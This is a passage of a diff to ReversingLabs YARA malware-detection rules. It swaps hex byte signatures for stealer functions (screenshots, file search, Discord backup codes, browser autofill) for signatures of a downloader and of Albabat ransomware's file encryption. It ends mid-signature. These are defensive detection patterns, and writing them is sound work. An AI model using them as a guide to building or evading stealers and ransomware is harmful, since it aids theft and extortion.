4C 89 8C 24 ?? ?? ?? ?? 48 39 D1 75 ?? 31 C0 48 8B 9C - 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? - ?? ?? 66 90 EB ?? 31 C0 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8D 3D ?? - ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8B - 4C 24 ?? 48 8B 51 ?? 48 8B 84 24 ?? ?? ?? ?? FF D2 48 8B 8C 24 ?? ?? ?? ?? 48 85 C9 - 48 8B 94 24 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 0F 45 D3 48 89 54 24 ?? 48 8B 9C 24 ?? ?? - ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 0F 45 DF 48 89 9C 24 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? - ?? ?? 48 8B 4C 24 ?? 48 8B 51 ?? 48 8B 84 24 ?? ?? ?? ?? FF D2 48 89 84 24 ?? ?? ?? - ?? 48 89 9C 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 - 8B 84 24 ?? ?? ?? ?? 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 - ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? - 48 8D 05 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 8D B4 24 - } - $find_files_p2 = { - 41 B8 ?? ?? ?? ?? 4D 89 C1 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B - 94 24 ?? ?? ?? ?? 48 39 D1 0F 85 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 84 24 - ?? ?? ?? ?? FF D1 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 8C 24 - ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? - 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? BB ?? ?? ?? - ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 05 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? - ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 C1 48 89 DF 48 - 8B B4 24 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 4D 89 C1 48 8B 84 24 ?? ?? ?? ?? 48 8B 5C 24 - ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 11 90 66 90 48 85 D2 74 ?? 48 39 D1 - 74 ?? E9 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 ?? E8 ?? ?? ?? ?? 49 89 0B 48 8B 11 49 - 89 53 ?? 48 89 09 48 8B 51 ?? 4C 8B 41 ?? 4E 8D 0C 03 4C 8B 51 ?? 4C 39 CA 73 ?? 4C - 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 89 84 24 ?? ?? ?? ?? 4C 89 D0 48 89 D1 48 89 - DF 48 8D 35 ?? ?? ?? ?? 4C 89 CB E8 ?? ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 49 89 C2 49 - 89 D9 48 89 CA 48 8B 84 24 ?? ?? ?? ?? 48 8B 5C 24 ?? 4C 89 94 24 ?? ?? ?? ?? 4C 89 - } - $find_files_p3 = { - 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 4B 8D 34 02 48 89 D9 48 89 C3 48 89 F0 E8 - ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 89 56 ?? 48 8B 94 24 - ?? ?? ?? ?? 48 89 56 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 8B 94 24 ?? ?? ?? ?? EB ?? E8 - ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 49 89 13 4C 8B 46 ?? 4D 89 43 ?? 48 89 56 ?? E9 - ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 49 ?? 48 8B 84 24 ?? ?? ?? ?? FF D1 44 0F 11 BC 24 - ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? - ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 - 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 - 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? - ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? BE ?? - ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89 C1 48 89 DF 48 8B B4 24 ?? ?? ?? ?? 41 B8 ?? ?? - ?? ?? 4D 89 C1 48 8B 84 24 ?? ?? ?? ?? 48 8B 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 8C 24 ?? - ?? ?? ?? 48 8B 11 90 48 85 D2 74 ?? 48 39 D1 74 ?? E9 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? - ?? 74 ?? E8 ?? ?? ?? ?? 49 89 0B 48 8B 11 49 89 53 ?? 48 89 09 48 8B 51 ?? 4C 8B 41 - ?? 4E 8D 0C 03 4C 8B 51 ?? 4C 39 CA 73 ?? 4C 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? 48 - 89 84 24 ?? ?? ?? ?? 4C 89 D0 48 89 D1 48 89 DF 48 8D 35 ?? ?? ?? ?? 4C 89 CB E8 ?? - ?? ?? ?? 4C 8B 84 24 ?? ?? ?? ?? 49 89 C2 49 89 D9 48 89 CA 48 8B 84 24 ?? ?? ?? ?? - 48 8B 5C 24 ?? 4C 89 94 24 ?? ?? ?? ?? 4C 89 8C 24 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? - ?? 4B 8D 34 02 48 89 D9 48 89 C3 48 89 F0 E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 48 - } - $find_files_p4 = { - 8B B4 24 ?? ?? ?? ?? 48 89 56 ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 56 ?? 83 3D ?? ?? ?? - ?? ?? 75 ?? 48 8B 94 24 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 48 8B 94 24 ?? ?? ?? ?? 49 - 89 13 4C 8B 46 ?? 4D 89 43 ?? 48 89 56 ?? E9 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 51 ?? - 48 8B 84 24 ?? ?? ?? ?? FF D2 48 89 84 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 8B - 4C 24 ?? 48 8B 49 ?? 48 8B 84 24 ?? ?? ?? ?? FF D1 48 89 44 24 ?? 44 0F 11 BC 24 ?? - ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B - 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 - 84 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 - 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 54 24 ?? 0F - 57 C0 F2 48 0F 2A C2 F2 0F 10 0D ?? ?? ?? ?? F2 0F 59 C1 66 48 0F 7E C0 0F 1F 40 ?? - E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? - 48 8D 05 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? - 41 B8 ?? ?? ?? ?? 4D 89 C1 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? - ?? E9 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 8B 41 ?? 48 89 C2 48 F7 DA 48 8B 59 ?? - 90 48 39 D3 77 ?? 48 81 FB ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 0F 4F D9 48 8D 0D ?? ?? ?? - ?? 48 0F 4F C1 48 81 C4 ?? ?? ?? ?? 5D C3 - } - $take_screenshot_p1 = { - 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 55 48 89 E5 48 81 EC ?? ?? ?? - ?? 0F 1F 00 E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 5C 24 ?? B8 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 - 89 8C 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 9C 24 ?? - ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 84 24 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 - ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? B9 ?? ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 8D BC - 24 ?? ?? ?? ?? 48 8D 7F ?? 66 0F 1F 84 00 ?? ?? 00 00 66 0F 1F 44 00 ?? 48 89 6C 24 - ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48 8B 6D ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 - 8D 05 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D - 05 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 05 - ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 05 ?? - ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 05 ?? ?? - ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 8C 24 ?? ?? - ?? ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? - ?? ?? E8 ?? ?? ?? ?? C6 00 ?? 48 8B 8C 24 ?? ?? ?? ?? 84 01 83 3D ?? ?? ?? ?? ?? 75 - ?? 48 8B 54 24 ?? EB ?? E8 ?? ?? ?? ?? 49 89 03 48 8B 91 ?? ?? ?? ?? 49 89 53 ?? 48 + $ping_apnic = { + 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 0F 57 + C0 F3 0F 7F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? + ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? + 8D 85 ?? ?? ?? ?? 50 6A ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF + B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 } - $take_screenshot_p2 = { - 8B 54 24 ?? 49 89 53 ?? 48 8B 59 ?? 49 89 5B ?? 48 89 81 ?? ?? ?? ?? 48 8B 5C 24 ?? - 48 89 59 ?? 48 89 51 ?? 48 89 C8 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? E8 ?? - ?? ?? ?? 0F 1F 44 00 ?? 48 85 FF 75 ?? 31 C9 31 D2 31 F6 EB ?? 31 C0 31 DB 48 89 D9 - 48 81 C4 ?? ?? ?? ?? 5D C3 48 89 04 3E 48 8B 84 24 ?? ?? ?? ?? 48 83 C0 ?? 48 8B 5C - 24 ?? 48 FF CB 48 89 D7 48 89 F2 48 89 FE 66 90 48 85 DB 0F 8E ?? ?? ?? ?? 48 89 5C - 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 08 48 8B - 50 ?? 48 8D 5E ?? 48 89 5C 24 ?? 48 8B 49 ?? 48 89 D0 FF D1 44 0F 11 BC 24 ?? ?? ?? - ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 54 24 ?? - 48 89 94 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 84 24 - ?? ?? ?? ?? BB ?? ?? ?? ?? 48 89 D9 E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 - 39 D1 72 ?? 48 8B B4 24 ?? ?? ?? ?? EB ?? 48 89 44 24 ?? 48 89 5C 24 ?? 48 8B 84 24 - ?? ?? ?? ?? 48 89 D3 BF ?? ?? ?? ?? 48 8D 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C6 48 - 89 DA 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8D 7A ?? 48 C1 E7 ?? 48 89 5C 3E ?? 83 3D ?? - ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 49 89 03 4C 8B 04 3E 4D 89 43 ?? E9 ?? - ?? ?? ?? 48 89 D0 48 89 F3 48 81 C4 ?? ?? ?? ?? 5D C3 + $download_bin_1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B F2 8B C1 89 85 ?? + ?? ?? ?? 8B 7D ?? 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? 50 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? + ?? ?? 83 EC ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 56 C6 01 + ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? C6 45 ?? ?? + E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 + 05 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF 50 ?? 8D 4D ?? 51 8B + C8 E8 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B D7 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D6 8B C8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C8 E8 + ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 + ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 55 ?? C6 + 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? + ?? ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 8D 4D ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? BA ?? ?? ?? + ?? 8B C8 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? B3 ?? EB ?? 32 DB } - $get_discord_backup_codes = { - 48 89 44 24 ?? 48 8D 1D ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B B4 - 24 ?? ?? ?? ?? 49 89 D8 49 89 C9 31 C0 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? - 48 8B 5C 24 ?? 48 8D 0D ?? ?? ?? ?? BF ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 48 8D 0D ?? ?? ?? ?? 48 89 08 83 3D ?? ?? ?? ?? ?? 66 90 75 ?? 48 8B 54 24 ?? EB - ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 49 89 13 48 8B 58 ?? 49 89 5B ?? 48 89 50 ?? E8 ?? - ?? ?? ?? 48 89 44 24 ?? 48 89 C3 48 8D 0D ?? ?? ?? ?? BF ?? ?? ?? ?? 48 8D 05 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 08 83 3D ?? ?? ?? ?? ?? 74 ?? 48 8B - 50 ?? 66 90 E8 ?? ?? ?? ?? 49 89 13 48 8D 15 ?? ?? ?? ?? 48 89 50 ?? 31 C0 48 8D 1D - ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8B 74 24 ?? 49 89 D8 49 89 C9 E8 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 5C 24 ?? 48 8D 0D ?? ?? ?? ?? BF ?? ?? ?? - ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 10 83 3D ?? ?? ?? - ?? ?? 75 ?? 48 8B 4C 24 ?? EB ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 49 89 0B 48 8B 50 ?? - 49 89 53 ?? 48 89 48 ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 75 - ?? 48 8B 54 24 ?? EB ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 49 89 13 48 89 10 BB ?? ?? ?? - ?? 48 89 D9 E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 5C 24 ?? 48 8D 0D ?? ?? ?? ?? BF ?? - ?? ?? ?? 48 8D 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 10 83 3D ?? - ?? ?? ?? ?? 75 ?? 48 8B 54 24 ?? EB ?? E8 ?? ?? ?? ?? 48 8B 54 24 ?? 49 89 13 4C 8B - 48 ?? 4D 89 4B ?? 48 89 50 ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8B 4C 24 ?? 31 FF 31 - F6 49 89 F0 E8 ?? ?? ?? ?? 31 C0 31 DB 48 83 C4 ?? 5D C3 + $download_bin_2 = { + C7 45 ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? 74 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? + ?? ?? 83 C4 ?? 84 DB 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3D ?? ?? ?? ?? 74 ?? 8D 80 ?? ?? ?? ?? 89 + 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? + ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 40 ?? 03 + C8 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 + C4 ?? 8B 8D ?? ?? ?? ?? 8B F0 85 C9 74 ?? 8B 01 FF 50 ?? 85 C0 74 ?? 8B 10 8B C8 6A + ?? FF 12 8B 06 8B CE 6A ?? 8B 40 ?? FF D0 50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 8B 5D ?? 83 C4 ?? 8B 7D ?? 8B 08 8B 49 ?? F6 44 01 ?? ?? 75 ?? 8B 75 ?? 8D 4D ?? + 83 FB ?? B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 0F 43 CF 3B F0 0F 42 C6 50 E8 ?? ?? ?? ?? 83 + C4 ?? 85 C0 75 ?? 83 FE ?? 73 ?? 83 C8 ?? EB ?? 33 C0 83 FE ?? 0F 95 C0 85 C0 0F 94 + C0 84 C0 0F 94 C0 84 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? + ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ?? + ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 FB ?? 72 ?? 57 E8 ?? ?? ?? ?? 83 C4 + ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 + ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 EB ?? 8B 8D ?? ?? ?? + ?? 8B 01 FF 50 ?? 8B 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? C3 8B 85 ?? ?? + ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 + 5D C3 } condition: - uint16( 0 ) == 0x5A4D and ( $get_mac_address ) and ( all of ( $find_files_p* ) ) and ( all of ( $take_screenshot_p* ) ) and ( $get_discord_backup_codes ) + uint16( 0 ) == 0x5A4D and $ping_apnic and $download_bin_1 and $download_bin_2 } -rule REVERSINGLABS_Bytecode_MSIL_Infostealer_Gomorrahstealer : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win64_Ransomware_Albabat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects GomorrahStealer infostealer." + description = "Yara rule that detects Albabat ransomware." author = "ReversingLabs" - id = "f3c14d23-47a2-5b09-8f48-0c2f9350516a" - date = "2024-11-27" - modified = "2024-11-27" + id = "11941c0d-45fb-5746-bbad-f43f336d4b1d" + date = "2024-03-18" + modified = "2024-03-18" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/infostealer/ByteCode.MSIL.Infostealer.GomorrahStealer.yara#L1-L111" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win64.Ransomware.Albabat.yara#L1-L139" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "75d86ea2ef9f24487ef54979508170651cd60abba6daa4c3117e20a77bb3b086" + logic_hash = "38ec8388b9006f6ab9a397858b89f4bfd7def2ffcf525cfc736abae49bc6034a" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Infostealer" - tc_detection_name = "GomorrahStealer" + tc_detection_type = "Ransomware" + tc_detection_name = "Albabat" tc_detection_factor = 5 importance = 25 strings: - $get_browser_autofill_data = { - 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 73 ?? ?? ?? ?? 0C 07 73 ?? ?? - ?? ?? 0D 09 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 0A 16 06 17 DA 13 ?? - 13 ?? 2B ?? 09 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 09 11 ?? 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 13 ?? 08 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 08 72 ?? ?? ?? ?? 11 ?? 28 ?? - ?? ?? ?? 6F ?? ?? ?? ?? 26 08 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 - 08 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 08 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? - ?? 17 D6 80 ?? ?? ?? ?? 00 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 13 ?? 11 ?? 3E ?? ?? ?? ?? - 17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 - 11 ?? 28 ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 - ?? 00 28 ?? ?? ?? ?? DE + $encrypt_files_p1 = { + 48 8D 05 ?? ?? ?? ?? 48 89 83 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? C7 83 ?? + ?? ?? ?? ?? ?? ?? ?? 66 C7 83 ?? ?? 00 00 ?? ?? C7 83 ?? ?? ?? ?? ?? ?? ?? ?? 0F 57 + F6 0F 11 B3 ?? ?? ?? ?? 48 C7 83 ?? ?? ?? ?? ?? ?? ?? ?? C6 83 ?? ?? ?? ?? ?? 4C 8D + 83 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 D7 48 85 C0 74 ?? 0F B6 05 ?? ?? ?? ?? 48 8B 0D + ?? ?? ?? ?? 48 85 C9 75 ?? FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 C1 48 + 89 05 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 31 D2 FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? + ?? 48 89 C6 48 89 38 4C 8D 35 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 BB ?? ?? ?? ?? 48 C7 + 83 ?? ?? ?? ?? ?? ?? ?? ?? 0F 11 